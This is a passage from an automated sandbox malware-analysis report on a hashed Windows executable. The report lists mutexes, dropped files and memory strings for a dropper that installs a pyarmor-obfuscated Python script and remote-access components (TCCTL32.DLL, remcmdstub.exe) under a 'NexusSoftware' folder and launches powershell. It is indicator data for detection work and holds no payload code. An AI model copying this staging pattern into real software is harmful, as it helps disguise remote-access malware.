"C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\__main__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\__phello__\spam.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\mime\audio.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\mime\base.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\mime\image.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\mime\text.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\dom\domreg.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\dom\minidom.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\dom\pulldom.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\dom\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\parsers\expat.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\sax\handler.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\sax\saxutils.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\sax\xmlreader.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\sax\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\etree\ElementTree.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\parsers\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\sax\_exceptions.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\zipfile\_path\glob.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\__phello__\ham\eggs.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\zipfile\_path\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\__phello__\ham\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\__init__.py" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\collections" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib\_collections_abc.py" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib\os.py" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib\stat.py" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib\ntpath.py" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib\genericpath.py" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sysconfig" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp4e:Tbe5,Process a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2512:168:WilStaging_02" Process a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2512:64:WilError_03" Process a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2512:64:WilError_03" Process a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe created mutex with name "Local\SM0:2512:168:WilStaging_02" Process a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe created mutex with name "Local\SM0:2512:64:WilError_03" Process a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe created mutex with name "Local\ZonesCacheCounterMutex" Process a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe created mutex with name "SM0:2512:64:WilError_03" Process a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe created mutex with name "ghgJFkeMnLkEzoBXhxje" Process a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe created mutex with name "SM0:2512:168:WilStaging_02" Process a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2512:168:WilStaging_02" Process a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe created mutex with name "\Sessions\1\BaseNamedObjects\ghgJFkeMnLkEzoBXhxje" Process pythonw.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3580:304:WilStaging_02" Process pythonw.exe created mutex with name "SM0:3580:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3640:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:3640:304:WilStaging_02" Process powershell.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "SM0:3640:120:WilError_03" Process powershell.exe created mutex with name "SM0:3640:304:WilStaging_02" Process powershell.exe created mutex with name "Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "Local\SM0:3640:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3640:304:WilStaging_02" Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex"4f:T986,Antivirus vendors marked dropped file "python313.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"), Antivirus vendors marked dropped file "libcrypto-3.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"), Antivirus vendors marked dropped file "sqlite3.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "libssl-3.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"), Antivirus vendors marked dropped file "python.cat" as clean (type is "DER Encoded PKCS#7 Signed Data"), Antivirus vendors marked dropped file "vcruntime140.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"), Antivirus vendors marked dropped file "python.exe" as clean (type is "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"), Antivirus vendors marked dropped file "pythonw.exe" as clean (type is "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"), Antivirus vendors marked dropped file "python3.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"), Antivirus vendors marked dropped file "vcruntime140_1.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "pythonw.exe.lnk" as clean (type is "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Has Working directory Has command line arguments Unicoded MachineID fcsw9q3vy2vn646 Archive NeedIndexed ctime=Tue Feb 3 15:42:26 2026 atime=Fri Oct 30 14:55:07 2026 mtime=Tue Feb 3 15:42:26 2026 length=104280 window=normal IDListSize 0x01a9 Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" Volume "C:\" LocalBasePath "C:\ProgramData\NexusSoftware\felix1\pythonw.exe""), Antivirus vendors marked dropped file "nskbfltr.inf" as clean (type is "ASCII text with CRLF line terminators"), Antivirus vendors marked dropped file "unicodedata.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "pyarmor_runtime.pyd" as clean (type is "PE32+ executable for MS Windows 5.02 (DLL) x86-64 (stripped to external PDB) 11 sections"), Antivirus vendors marked dropped file "TCCTL32.DLL" as clean (type is "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections")50:T1292,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\urlmon.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135]51:Tc2c,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "libcrypto-3.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "sqlite3.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "libssl-3.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "vcruntime140.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "msedgewebview.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "python.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "pythonw.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "remcmdstub.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "python3.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "vcruntime140_1.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "pcicapi.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "unicodedata.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "TCCTL32.DLL" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "HTCTL32.DLL" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_decimal.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "pyexpat.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_ssl.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_lzma.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_elementtree.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT52:T435,Found string "User-Agent: uJ7gFEPqcKUGx6qlbf3dPJaT" (Indicator: "user-agent: "; Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp, 00000000-00002512.00000001.111136.00B70000.00000004.mdmp, 00000000-00002512.00000001.111136.03130000.00000004.mdmp") Found string "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" (Indicator: "mozilla/5.0 ("; Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp, 00000000-00002512.00000001.111136.00B70000.00000004.mdmp, 00000000-00002512.00000001.111136.03130000.00000004.mdmp") Found string "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" (Indicator: "mozilla/5.0 ("; Source: "00000000-00002512.00000001.111136.03130000.00000004.mdmp") Found string "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" (Indicator: "user-agent: "; Source: "00000000-00002512.00000001.111136.03130000.00000004.mdmp")53:T18472,"ProgramData%\NexusSoftware\felix1\main.py" in Source: 00000000-00002512.00000000.109517.00B70000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" in Source: 00000000-00002512.00000000.109517.00B70000.00000004.mdmp "e\SOFTWARE\Pol" in Source: 00000000-00002512.00000000.109517.00B70000.00000004.mdmp "ProgramData%\NexusSoftware\felix1" in Source: 00000000-00002512.00000000.109517.00B70000.00000004.mdmp "%ProgramData%\NexusSoftware\felix1" in Source: 00000000-00002512.00000000.109517.00B70000.00000004.mdmp "%ProgramData%\NexusSoftware\felix1\main.py" in Source: 00000000-00002512.00000000.109517.00B70000.00000004.mdmp ":\ProgramData\NexusSoftware\felix1" in Source: 00000000-00002512.00000001.111136.00B70000.00000004.mdmp "ProgramData%\NexusSoftware\felix1\main.py" in Source: 00000000-00002512.00000001.111136.00B70000.00000004.mdmp "??\C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\__init__.py" in Source: 00000000-00002512.00000001.111136.00B70000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" in Source: 00000000-00002512.00000001.111136.00B70000.00000004.mdmp "e\SOFTWARE\Pol" in Source: 00000000-00002512.00000001.111136.00B70000.00000004.mdmp ":\ProgramData\NexusSoftware\felix1\pythonw.exe" in Source: 00000000-00002512.00000001.111136.00B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1" in Source: 00000000-00002512.00000001.111136.00B70000.00000004.mdmp "ProgramData%\NexusSoftware\felix1" in Source: 00000000-00002512.00000001.111136.00B70000.00000004.mdmp "NexusSoftware\fe" in Source: 00000000-00002512.00000001.111136.02930000.00000004.mdmp ":\ProgramData\NexusSoftware\felix1\main.py" in Source: 00000000-00002512.00000001.111136.03130000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002512.00000001.111136.03130000.00000004.mdmp ":\ProgramData\NexusSoftware\felix1" in Source: 00000000-00002512.00000001.111136.03130000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00002512.00000001.111136.03130000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\pythonw.exe" C:\ProgramData\NexusSoftware\felix1\main.py" in Source: 00000000-00002512.00000001.111136.03130000.00000004.mdmp, "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00002512.00000001.111136.03130000.00000004.mdmp, ":\ProgramData\NexusSoftware\felix1\pythonw.exe" in Source: 00000000-00002512.00000001.111136.03130000.00000004.mdmp, "??\C:\ProgramData\NexusSoftware\felix1\pythonw.exe" in Source: 00000000-00002512.00000001.111136.03130000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\pyarmor_runtime.pyd:pyarmor_runtime_000000.pyarmor_runtime" in Source: 00000000-00003580.00000000.111018.04C70000.00000004.mdmp, "??\C:\ProgramData\NexusSoftware\felix1\python313.zip" in Source: 00000000-00003580.00000000.111018.04C70000.00000004.mdmp, "??\C:\ProgramData\NexusSoftware\felix1\Modules\Setup.local" in Source: 00000000-00003580.00000000.111018.04C70000.00000004.mdmp, "??\C:\ProgramData\NexusSoftware\felix1\Modules\Setup" in Source: 00000000-00003580.00000000.111018.04C70000.00000004.mdmp, ":\ProgramData\NexusSoftware\felix1" in Source: 00000000-00003580.00000000.111018.04C70000.00000004.mdmp, ":\ProgramData\NexusSoftware\felix1\pythonw.exe" in Source: 00000000-00003580.00000000.111018.04C70000.00000004.mdmp, "Y\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00003580.00000000.111018.04C70000.00000004.mdmp, ""C:\ProgramData\NexusSoftware\felix1\pythonw.exe" C:\ProgramData\NexusSoftware\felix1\main.py" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1\" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1\pythonw.exe" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "usC:\ProgramData\NexusSoftware\felix1\" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, ":\ProgramData\NexusSoftware\felix1\VCRUNTIME140_1.dll" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, ":\ProgramData\NexusSoftware\felix1\python313.dll" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, ":\ProgramData\NexusSoftware\felix1\VCRUNTIME140.dll" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1\main.py" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, ":\ProgramData\NexusSoftware\felix1\pythonw.exe" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, ":\ProgramData\NexusSoftware\felix1\python313.zip" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1;C:\WINDOWS\SYSTEM32;C:\WINDOWS\system;C:\WINDOWS;.;C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\HAPUBWS\AppData\Roaming\nvm;%NVM_SYMLINK%;C:\WINDOWS\System32\OpenSSH\;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\Scripts\;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmproxy\bin" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, ":\ProgramData\NexusSoftware\felix1\main.py" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "??\C:\ProgramData\NexusSoftware\felix1" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, ":\ProgramData\NexusSoftware\felix1\Lib" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1\_ctypes.pyd" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1\python3.DLL" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "\Device\HarddiskVolume2\ProgramData\NexusSoftware\felix1\pythonw.exe" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "??\C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "??\C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "gramData\NexusSoftware\felix1\python313.zip\ctypes" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\pyarmor_runtime.pyd" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1;C:\ProgramData\NexusSoftware\felix1;C:\WINDOWS\SYSTEM32" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "rogramData\NexusSoftware\felix1\pybuilddir.txt" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "\??\C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\__pycache__\__init__.cpython-313.pyca" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, ":\ProgramData\NexusSoftware\felix1\python313.zip;C:\ProgramData\NexusSoftware\felix1" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp, "C:\ProgramData\NexusSoftware\felix1\pythonw.exe" C:\ProgramData\NexusSoftware\felix1\main.py" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp ":\programdata\nexussoftware\felix1\pythonw.exe" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp "??\C:\ProgramData\NexusSoftware\felix1\PCbuild" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp ":\ProgramData\NexusSoftware\felix1\_ctypes.pyd" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp ":\ProgramData\NexusSoftware\felix1\libffi-8.dll" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp "??\C:\ProgramData\NexusSoftware\felix1\main.py" in Source: 